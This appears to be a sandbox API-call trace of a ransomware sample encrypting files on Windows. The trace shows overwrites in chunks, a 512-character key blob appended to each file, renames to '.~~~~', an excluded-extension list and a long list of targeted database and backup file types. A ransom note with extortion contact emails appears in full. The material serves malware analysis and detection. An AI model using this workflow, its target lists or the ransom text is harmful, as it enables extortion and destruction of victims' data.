	[0086.814] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0086.814] GetLastError () returned 0x0
	[0086.814] GetLastError () returned 0x0
	[0086.841] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0086.841] WriteFile (in: hFile=0x128, lpBuffer=0x280dfd0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x280dfd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x19000, lpOverlapped=0x0) returned 1
	[0086.843] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280dfd0 | out: hHeap=0x300000) returned 1
	[0086.843] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.843] WriteFile (in: hFile=0x128, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0086.855] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0086.855] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0086.855] CloseHandle (hObject=0x128) returned 1
	[0086.855] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5dc0
	[0086.855] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\WT61ES.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\esen\\wt61es.lex"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\WT61ES.LEX.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\esen\\wt61es.lex.~~~~")) returned 1
	[0086.856] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a5dc0 | out: hHeap=0x300000) returned 1
	[0086.856] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0086.856] GetLastError () returned 0x0
	[0086.857] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0086.857] WriteFile (in: hFile=0x128, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x1f8fed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x1f8fed8*=0x35c, lpOverlapped=0x0) returned 1
	[0086.859] CloseHandle (hObject=0x128) returned 1
	[0086.859] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f5378 | out: hHeap=0x300000) returned 1
	[0086.859] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b64c0 | out: hHeap=0x300000) returned 1
	[0086.859] RtlWakeConditionVariable () returned 0x365f70
	[0086.859] GetCurrentThreadId () returned 0xaf0
	[0086.859] GetCurrentThreadId () returned 0xaf0
	[0086.859] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b64c0
	[0086.859] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6f10 | out: hHeap=0x300000) returned 1
	[0086.859] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280b5d0 | out: hHeap=0x300000) returned 1
	[0086.859] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6f10
	[0086.859] lstrlenW (lpString=".scr") returned 4
	[0086.859] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.DLL", lpSrch=".scr") returned 0x0
	[0086.859] lstrlenW (lpString=".cmd") returned 4
	[0086.859] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.DLL", lpSrch=".cmd") returned 0x0
	[0086.859] lstrlenW (lpString=".dll") returned 4
	[0086.859] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.DLL", lpSrch=".dll") returned 0x0
	[0086.859] lstrlenW (lpString=".bat") returned 4
	[0086.860] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.DLL", lpSrch=".bat") returned 0x0
	[0086.860] lstrlenW (lpString=".cpl") returned 4
	[0086.860] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.DLL", lpSrch=".cpl") returned 0x0
	[0086.860] lstrlenW (lpString=".sys") returned 4
	[0086.860] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.DLL", lpSrch=".sys") returned 0x0
	[0086.860] lstrlenW (lpString=".msc") returned 4
	[0086.860] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.DLL", lpSrch=".msc") returned 0x0
	[0086.860] lstrlenW (lpString=".com") returned 4
	[0086.860] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.DLL", lpSrch=".com") returned 0x0
	[0086.860] lstrlenW (lpString=".lnk") returned 4
	[0086.860] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.DLL", lpSrch=".lnk") returned 0x0
	[0086.860] lstrlenW (lpString=".msp") returned 4
	[0086.860] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.DLL", lpSrch=".msp") returned 0x0
	[0086.860] lstrlenW (lpString=".pif") returned 4
	[0086.860] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.DLL", lpSrch=".pif") returned 0x0
	[0086.860] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0086.860] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.DLL", lpSrch="msp\r\n.pif") returned 0x0
	[0086.860] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\fren\\msb1fren.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128
	[0086.861] lstrlenW (lpString=".sqb") returned 4
	[0086.861] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.DLL", lpSrch=".sqb") returned 0x0
	[0086.861] lstrlenW (lpString=".ost") returned 4
	[0086.861] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.DLL", lpSrch=".ost") returned 0x0
	[0086.861] lstrlenW (lpString=".txt") returned 4
	[0086.861] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.DLL", lpSrch=".txt") returned 0x0
	[0086.861] lstrlenW (lpString=".mdt") returned 4
	[0086.861] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.DLL", lpSrch=".mdt") returned 0x0
	[0086.861] lstrlenW (lpString=".BDB") returned 4
	[0086.861] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.DLL", lpSrch=".BDB") returned 0x0
	[0086.861] lstrlenW (lpString=".eql") returned 4
	[0086.861] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.DLL", lpSrch=".eql") returned 0x0
	[0086.861] lstrlenW (lpString=".DBF") returned 4
	[0086.861] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.DLL", lpSrch=".DBF") returned 0x0
	[0086.861] lstrlenW (lpString=".EQL") returned 4
	[0086.861] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.DLL", lpSrch=".EQL") returned 0x0
	[0086.861] lstrlenW (lpString=".FDB") returned 4
	[0086.861] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.DLL", lpSrch=".FDB") returned 0x0
	[0086.861] lstrlenW (lpString=".EDB") returned 4
	[0086.861] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.DLL", lpSrch=".EDB") returned 0x0
	[0086.861] lstrlenW (lpString=".DACPAC") returned 7
	[0086.861] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.DLL", lpSrch=".DACPAC") returned 0x0
	[0086.861] lstrlenW (lpString=".VHD") returned 4
	[0086.862] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.DLL", lpSrch=".VHD") returned 0x0
	[0086.862] lstrlenW (lpString=".DBV") returned 4
	[0086.862] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.DLL", lpSrch=".DBV") returned 0x0
	[0086.862] lstrlenW (lpString=".dacpac") returned 7
	[0086.862] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.DLL", lpSrch=".dacpac") returned 0x0
	[0086.862] lstrlenW (lpString=".sdf") returned 4
	[0086.862] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.DLL", lpSrch=".sdf") returned 0x0
	[0086.862] lstrlenW (lpString=".accdb") returned 6
	[0086.862] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.DLL", lpSrch=".accdb") returned 0x0
	[0086.862] lstrlenW (lpString=".DBX") returned 4
	[0086.862] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.DLL", lpSrch=".DBX") returned 0x0
	[0086.862] lstrlenW (lpString=".MDT") returned 4
	[0086.862] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.DLL", lpSrch=".MDT") returned 0x0
	[0086.862] lstrlenW (lpString=".SQB") returned 4
	[0086.862] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.DLL", lpSrch=".SQB") returned 0x0
	[0086.862] lstrlenW (lpString=".vhd") returned 4
	[0086.862] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.DLL", lpSrch=".vhd") returned 0x0
	[0086.862] lstrlenW (lpString=".bac") returned 4
	[0086.862] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.DLL", lpSrch=".bac") returned 0x0
	[0086.862] lstrlenW (lpString=".mdf") returned 4
	[0086.862] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.DLL", lpSrch=".mdf") returned 0x0
	[0086.862] lstrlenW (lpString=".BAK") returned 4
	[0086.862] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.DLL", lpSrch=".BAK") returned 0x0
	[0086.862] lstrlenW (lpString=".BAC") returned 4
	[0086.862] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.DLL", lpSrch=".BAC") returned 0x0
	[0086.862] lstrlenW (lpString=".dbs") returned 4
	[0086.862] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.DLL", lpSrch=".dbs") returned 0x0
	[0086.862] lstrlenW (lpString=".vhdx") returned 5
	[0086.862] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.DLL", lpSrch=".vhdx") returned 0x0
	[0086.863] lstrlenW (lpString=".NDF") returned 4
	[0086.863] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.DLL", lpSrch=".NDF") returned 0x0
	[0086.863] lstrlenW (lpString=".dat") returned 4
	[0086.863] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.DLL", lpSrch=".dat") returned 0x0
	[0086.863] lstrlenW (lpString=".DBS") returned 4
	[0086.863] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.DLL", lpSrch=".DBS") returned 0x0
	[0086.863] lstrlenW (lpString=".CKP") returned 4
	[0086.863] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.DLL", lpSrch=".CKP") returned 0x0
	[0086.863] lstrlenW (lpString=".edb") returned 4
	[0086.863] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.DLL", lpSrch=".edb") returned 0x0
	[0086.863] lstrlenW (lpString=".PST") returned 4
	[0086.863] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.DLL", lpSrch=".PST") returned 0x0
	[0086.863] lstrlenW (lpString=".dbf") returned 4
	[0086.863] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.DLL", lpSrch=".dbf") returned 0x0
	[0086.863] lstrlenW (lpString=".SQL") returned 4
	[0086.863] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.DLL", lpSrch=".SQL") returned 0x0
	[0086.863] lstrlenW (lpString=".pst") returned 4
	[0086.863] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.DLL", lpSrch=".pst") returned 0x0
	[0086.863] lstrlenW (lpString=".dbv") returned 4
	[0086.863] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.DLL", lpSrch=".dbv") returned 0x0
	[0086.863] lstrlenW (lpString=".SDF") returned 4
	[0086.863] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.DLL", lpSrch=".SDF") returned 0x0
	[0086.863] lstrlenW (lpString=".dtxs") returned 5
	[0086.863] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.DLL", lpSrch=".dtxs") returned 0x0
	[0086.863] lstrlenW (lpString=".db3") returned 4
	[0086.863] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.DLL", lpSrch=".db3") returned 0x0
	[0086.863] lstrlenW (lpString=".OST") returned 4
	[0086.864] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.DLL", lpSrch=".OST") returned 0x0
	[0086.864] lstrlenW (lpString=".dbx") returned 4
	[0086.864] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.DLL", lpSrch=".dbx") returned 0x0
	[0086.864] lstrlenW (lpString=".DB3") returned 4
	[0086.864] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.DLL", lpSrch=".DB3") returned 0x0
	[0086.864] lstrlenW (lpString=".DAT") returned 4
	[0086.864] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.DLL", lpSrch=".DAT") returned 0x0
	[0086.864] lstrlenW (lpString=".VHDX") returned 5
	[0086.864] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.DLL", lpSrch=".VHDX") returned 0x0
	[0086.864] lstrlenW (lpString=".ndf") returned 4
	[0086.864] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.DLL", lpSrch=".ndf") returned 0x0
	[0086.864] lstrlenW (lpString=".DB") returned 3
	[0086.864] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.DLL", lpSrch=".DB") returned 0x0
	[0086.864] lstrlenW (lpString=".sql") returned 4
	[0086.864] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.DLL", lpSrch=".sql") returned 0x0
	[0086.865] lstrlenW (lpString=".MYD") returned 4
	[0086.865] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.DLL", lpSrch=".MYD") returned 0x0
	[0086.865] lstrlenW (lpString=".DBT") returned 4
	[0086.865] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.DLL", lpSrch=".DBT") returned 0x0
	[0086.865] lstrlenW (lpString=".ACCDB") returned 6
	[0086.865] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.DLL", lpSrch=".ACCDB") returned 0x0
	[0086.865] lstrlenW (lpString=".fdb") returned 4
	[0086.865] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.DLL", lpSrch=".fdb") returned 0x0
	[0086.865] lstrlenW (lpString=".bak") returned 4
	[0086.865] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.DLL", lpSrch=".bak") returned 0x0
	[0086.865] lstrlenW (lpString=".myd") returned 4
	[0086.865] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.DLL", lpSrch=".myd") returned 0x0
	[0086.865] lstrlenW (lpString=".DTXS") returned 5
	[0086.865] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.DLL", lpSrch=".DTXS") returned 0x0
	[0086.865] lstrlenW (lpString=".ckp") returned 4
	[0086.865] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.DLL", lpSrch=".ckp") returned 0x0
	[0086.865] lstrlenW (lpString=".dbt") returned 4
	[0086.865] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.DLL", lpSrch=".dbt") returned 0x0
	[0086.865] lstrlenW (lpString=".db") returned 3
	[0086.865] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.DLL", lpSrch=".db") returned 0x0
	[0086.865] lstrlenW (lpString=".TXT") returned 4
	[0086.865] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.DLL", lpSrch=".TXT") returned 0x0
	[0086.865] lstrlenW (lpString=".MDF") returned 4
	[0086.865] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.DLL", lpSrch=".MDF") returned 0x0
	[0086.865] lstrlenW (lpString=".bdb") returned 4
	[0086.866] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.DLL", lpSrch=".bdb") returned 0x0
	[0086.866] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0086.866] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.DLL", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0086.866] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804338
	[0086.866] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362fe0
	[0086.866] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x39fe28) returned 1
	[0086.867] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0086.867] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0086.867] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0086.867] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0086.867] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0086.867] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=20685712060) returned 1
	[0086.867] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0x9d941e10, dwHighDateTime=0x1d60e1e)) 
	[0086.867] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0086.867] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0086.867] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0086.867] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x280b5d0
	[0086.867] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0086.867] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280b5d0 | out: hHeap=0x300000) returned 1
	[0086.867] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0086.867] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0086.867] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3e6538
	[0086.868] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0086.868] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x282d428
	[0086.868] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6538 | out: hHeap=0x300000) returned 1
	[0086.868] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0086.868] GetLastError () returned 0x0
	[0086.868] GetLastError () returned 0x0
	[0086.868] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0086.868] GetLastError () returned 0x0
	[0086.868] GetLastError () returned 0x0
	[0086.908] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0086.908] WriteFile (in: hFile=0x128, lpBuffer=0x2895ff0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2895ff0*, lpNumberOfBytesWritten=0x1f8fec0*=0x19000, lpOverlapped=0x0) returned 1
	[0086.910] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2895ff0 | out: hHeap=0x300000) returned 1
	[0086.910] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.910] WriteFile (in: hFile=0x128, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0086.910] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0086.910] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0086.910] CloseHandle (hObject=0x128) returned 1
	[0086.927] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5dc0
	[0086.927] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\fren\\msb1fren.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.DLL.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\fren\\msb1fren.dll.~~~~")) returned 1
	[0086.940] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a5dc0 | out: hHeap=0x300000) returned 1
